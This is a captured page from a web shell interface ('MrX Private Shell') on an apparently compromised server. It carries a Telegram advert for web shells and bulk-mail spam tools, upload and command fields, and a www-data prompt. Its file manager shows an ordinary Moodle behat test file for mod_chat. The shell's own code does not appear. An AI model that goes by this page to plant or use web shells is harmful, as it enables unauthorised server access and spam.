__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

/**
 * Steps definitions related to mod_chat.
 *
 * @package   mod_chat
 * @category  test
 * @copyright 2021 Dongsheng Cai
 * @license   http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */

require_once(__DIR__ . '/../../../../lib/behat/behat_base.php');

/**
 * Steps definitions related to mod_chat.
 *
 */
class behat_mod_chat extends behat_base {
    /**
     * Convert page names to URLs for steps like 'When I am on the "[identifier]" "[page type]" page'.
     *
     * Recognised page names are:
     * | pagetype          | name meaning | description                   |
     * | View              | Chat name    | The chat info page (view.php) |
     *
     * @param string $type identifies which type of page this is, e.g. 'View'.
     * @param string $name chat instance name
     * @return moodle_url the corresponding URL.
     * @throws Exception with a meaningful error message if the specified page cannot be found.
     */
    protected function resolve_page_instance_url(string $type, string $name): moodle_url {
        switch (strtolower($type)) {
            case 'view':
                $cm = $this->get_cm_by_chat_name($name);
                return new moodle_url('/mod/chat/view.php', ['id' => $cm->id]);
            default:
                throw new Exception('Unrecognised chat page type "' . $type . '."');
        }
    }

    /**
     * Get a chat by name.
     *
     * @param string $name chat name.
     * @return stdClass the corresponding DB row.
     */
    protected function get_chat_by_name(string $name): stdClass {
        global $DB;
        return $DB->get_record('chat', ['name' => $name], '*', MUST_EXIST);
    }

    /**
     * Get a chat coursemodule object from the name.
     *
     * @param string $name chat name.
     * @return stdClass cm from get_coursemodule_from_instance.
     */
    protected function get_cm_by_chat_name(string $name): stdClass {
        $chat = $this->get_chat_by_name($name);
        return get_coursemodule_from_instance('chat', $chat->id, $chat->course);
    }
}

Filemanager

Name Type Size Permission Actions
behat_mod_chat.php File 2.68 KB 0777
chat_activity_completion.feature File 2.39 KB 0777
chat_calendar_events.feature File 1.33 KB 0777
chat_course_reset.feature File 2.26 KB 0777
chat_group_mode.feature File 3 KB 0777
chat_no_calendar_capabilities.feature File 2.06 KB 0777
chat_view_past_session.feature File 2.21 KB 0777
Filemanager